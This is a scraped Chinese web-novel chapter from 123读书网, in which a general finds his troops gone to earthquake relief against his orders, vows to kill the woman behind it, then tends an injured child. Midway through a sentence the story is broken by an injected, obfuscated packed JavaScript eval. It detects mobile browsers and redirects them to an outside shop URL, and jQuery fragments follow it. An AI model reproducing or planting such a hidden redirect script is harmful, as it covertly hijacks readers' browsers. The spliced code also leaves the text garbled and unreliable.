123读书网 > 玄幻小说 > 买来的女奴成了祖宗! > 105. 梁京(9)
    白佑霖在半夜突然抵达凉州州府,敲响凉州刺史的大门,立着柄长刀站在外头,吓得凉州刺史见了鬼一般,想起前几年被他支配的恐惧,“白白白白大将军!深夜来访,所为何事啊?”


    潘玉彦从马上下来,展开圣旨念起来,大意便是奉旨搜查凉州商户周氏马氏朱氏的家,以及奉旨巡视符江镇凉州红河畔二十几家商铺,让刺史调任人手作为监督记录。


    凉州刺史哆哆嗦嗦接过圣旨,慌里慌张调集人手,却是在半夜小震一次,凉州刺史觉得此时搜查不是好时机,向白佑霖请示,“白大将军凯旋,立刻就奉旨搜查,会闹得凉州城百姓人心惶惶,视白大将军为敌。更何况昨日今日皆有小震,虽未有大损失,人心不安,恐会闹出民乱。”


    凉州刺史并不一定是前朝党羽,此刻提出的顾虑十分正常。


    张栩也有此顾虑,前朝旧党当然要肃清,但萧臻简为何要在白佑霖胜仗归来的途中肃清这一党残存势力,将他哥绑死在恶面修罗这样的面目上,实在值得玩味。


    但既是圣旨,都得遵从。


    白佑霖大喇喇靠着椅子,“刺史大人,不是我说你,昨日就有地震,但我敲你门时,你睡得那么香?不知道安排府兵随时进入戒备状态?”


    “是是是,将军说得对,在下知错!”刺史赶忙认错,“那搜查还进行吗?地震怎么办?”


    “你管救援,我管搜查,你安排几个熟知这几家人的书吏随我去就得了!不耽误你!”白佑霖言简意赅,“别拖拖拉拉,快些,趁他们还没起床!”


    刺史欲言又止,白佑霖看他支支吾吾的,眸光一凛,“要说什么快说!”


    “方才又小震一回,凉州城百姓不少还在熟睡,要不要挨家挨户把他们叫醒?”


    潘玉彦立马骂道,“刺史大人想要通风报信啊?”


    白佑霖抬手阻止潘玉彦说话,“去叫!派你的府兵把那几条街围了,那都是大宅子,一条街也没几户,张栩,你去盯着。”


    搜查的目标大部分不在城里,而在边边角角的工坊聚集地,白佑霖点了点聚集起来的书吏,心里有几分沉重。


    他知道在工坊做工的人只是讨一□□计,并不知道上头的人在搞什么动作,他这一抓人,多少家庭的生计艰难啊,但也想着长痛不如短痛,二哥会派人来重建秩序,便想通了,恨他便恨他吧。


    白佑霖立马带着书吏赶赴驻扎营地,以营地为中心辐散各镇子,要完美完成此次任务,等回京交了差,就可以回家团圆了。


    半途中,天蒙蒙亮起来,忽的一阵地动山摇,大地震颤,土层中似有地枭鸣叫,马儿慌乱发出嘶鸣,不少马匹失控逃窜。


    白佑霖从未经历过这么大的地震,顿时有些心慌,不知房子与山有没有垮塌。


    控制住惊慌的马匹后,随行士兵上前问他,“将军!作何安排?”


    “安排不变!但速度要加快!”


    皇命不可违,白佑霖利落的安排后,快马加鞭赶往营地,已经计划好了快速直捣,查获证据后,说不准还能赶上救灾。


    一路飞驰而去,越跑越快,越想越急。


    临到营地时,白佑霖却傻了眼,只见那无数帐篷外,除了零星几人在负责后勤,一个兵丁都没有瞧见!


    脑子顿时空白一片,他慌不择路冲进那营地里头,“人呢!老子的兵呢!”


    负责留守的副将赶忙上前来解释,“大将军!兵兵兵……”


    白佑霖一把揪住那副将的衣领,双目猩红,恶狠狠地嘶吼,“你最好给我解释清楚!老子的人去哪儿了?”


    副将这才颤颤巍巍,支支吾吾讲出事情的原委,“将军,方才地震,咱们的兵都去救灾了。”


    “我不是让你们原地待命吗?”


    白佑霖八辈子没有这么愤怒过,他从未想过,明明下了军令,死命令,在执行任务的危急时刻,自己手底下五千精兵竟然能一瞬间消失,这要是在战场上,他就玩完了!


    这一刻,他狂怒又无措,语气不善地质问,“谁准你们去救灾的?违抗军令你们知道是什么后果吗?”


    副将快被他这模样吓哭了,“将军,可可是……天灾无情,是陈七姑娘……”


    陈七二字像一根尖锐的毒针,无比精准的刺在了白佑霖的心上,他虽然没往这方面想,但此刻一联系,他心迅速裂成了块,在顷刻间崩塌,“跟陈七有什么关系!”


    “是陈七姑娘发现了附近的难民,求龚奈都统出兵救援的……她说……她说……她愿意承担全部责任!”


    “她担得起个屁!”白佑霖丢了士兵的衣领,“龚奈担不起程芸也担不起,你们五千人的兵加起来都担不起!”


    开什么玩笑,一个无兵权,无身份的女人,竟然凭一张嘴,调动了他手底下五千精兵,置他的命令于不顾,跟着她行动,说她要造反都不为过!


    什么前因后果,天灾无情,通通都不能成为借口,调兵就是大罪,死罪,让她死八百次都不为过!


    一阵愤怒之后,白佑霖开始无比强烈的后怕与心虚,要说是谁导致的这种情况,分明就是他自己,是他心软,是他纵容,是他为虎作伥。


    倘若让她待在囚车里,今日她绝不可能调得动这些兵。


    倘若给她一个罪犯的名,她也绝不可能在他的军队里说上话。


    倘若早早杀了她,也断然不会有今日的失控!


    他都在做些什么啊!


    一想到这些,他面皮就发麻,斑驳腐朽,片片剥脱。


    白佑霖从未对自己有过这么大的怀疑,昨夜才说,要给她求个身份,以为她会为了自己安安分分地生活。


    如今想来,他真是一个笑话。


    白佑霖心口阵阵发痛,他站在军营里,眸光涣散,转了好几圈,没有兵,兵不见了,只能望向四方苍茫的天地与崇山峻岭,错的真离谱啊。


    潘玉彦心慌了一阵,实在没招了,反倒是笑,“啧啧啧,真可怕呀!白大将军,你完喽!”


    “是不是哭都哭不出来呀?”


    往常潘玉彦的嘲讽向来都不痛不痒,今日他吐出的每一个字,都是剐蹭在他心上的一把刀,刀刀剥皮见肉,肉沫子都被刮下来,他真是无地自容。


    副将试探着问,“将军,那现在要如何是好?要将他们召回吗?”


    如何是好,不知道啊,他都没兵了,他是失柄之将,去势之虎,空头将军,挂牌元帅。


    让陈七去当将军好了,他算个毛的将军。


    也不知站了多久,茫茫天地间,风声呼啸,鸟群聚散,还有时不时传


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17150844|188868||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    来的救人呼喊声,却是落针可闻,呼吸声此起彼伏,无比清晰。


    白佑霖蓦地回神,心里只有一个念头,杀了她。


    前朝公主就是前朝公主,不可能做他的女人,更不可能做他的陈七,什么梦都该醒了。


    “去叫人撤回来!”他冷声道。


    “撤回来?”副将道,“这不好吧,那边塌了好多房子,多少人命悬一线……”


    “就你们有善心!我白佑霖看起来像个傻子吗?”


    “现在连你们也要违抗军令?”


    气氛一时如火线烧尽的爆竹,噼里啪啦地炸个没完。


    白佑霖抬手扶额,感觉自己烧坏了脑子,神志不清了,“陈七在哪儿?”


    “她她她应当在最近的村庄……”


    白佑霖翻身上马,“哪个方向,龚奈在何处?”


    副将给他指了个方向,他猛地勒马,扬尘而去。


    一路上,他心里只有杀了她的念头,不杀她留着过年啊,难道让那遍地尸骸的景象再演一次,还要死多少人,还要流多少血,还要多少次政变兵变,他绝不是为了这样的景象才顶着掉脑袋的风险造反的。


    心已经沉得说不出话了。


    抵达讣遐村时,他看到了自己的兵,也看到了一片倒塌的房屋,以及满满排成数列的伤患,他们躺在那儿,浑身是血,要么缺胳膊少腿,要么满脸鲜血淋漓,那凄惨的叫声,让他脑子里不断闪回每次战后的景象。


    他早该见怪不怪,打仗就是要流血,要有牺牲,多少人死在他面前,他本应该习惯。


    却是有小孩的哭声阵阵传来,稚嫩,尖锐,痛苦,茫然无措。


    士兵不断背来伤患,根本来不及理会他这个大将军,没人同他打招呼,都忙着手里头的事,他显然没那么重要。


    他走进那伤患堆里,一个七八岁的小姑娘,坐在那里无措地哭泣,咧着嘴,一颗牙齿连着肉摇摇欲坠挂在牙龈上,满嘴鲜血。


    白佑霖蹲下身,“哪里痛?”


    小姑娘依旧在哭,指着自己坠在嘴边的牙,眼泪颗颗坠落。


    白佑霖将小孩抱起来,“拔掉就不那么痛了,挂在嘴上扯的肉疼。”


    小孩怕啊,她说不出好或不好,只能任白佑霖手指探进她嘴里,检查她的牙龈,“只伤了一颗,我给你拔了好不好?”


    小孩还是说不出话,哭得不知天南地北,哭声凄厉刺透耳膜,白佑霖看那牙也长不回去,拿手捏住一拔,牙齿轻易脱落。


    小时候三妹换牙也哭得那么厉害,那时候也是他帮忙拔的,只是他不知这个小姑娘以后是否还会长牙。


    他将小姑娘抱起来,捏着她的胳膊腿检查一番,轻拍着哄道,“没事儿嗷,只掉了一颗牙。”


    小姑娘的牙齿没再坠着肉,疼痛好了一些,她依旧哭得厉害,只是敢说话了,说话有些漏风,“还……还会再长吗?”


    “你换过牙没?”白佑霖问道。


    小姑娘点头,“刚长出来。”


    白佑霖心蓦地一疼,忙抚着小女孩的头,一下比一下重,语气温柔,“还会长,肯定会长!”


    他小时候见过财主嘴里镶过假牙,是用金子做的,他也不知怎么嵌上去的,微微皱着眉头,沉声道,“你以后会长颗金牙。”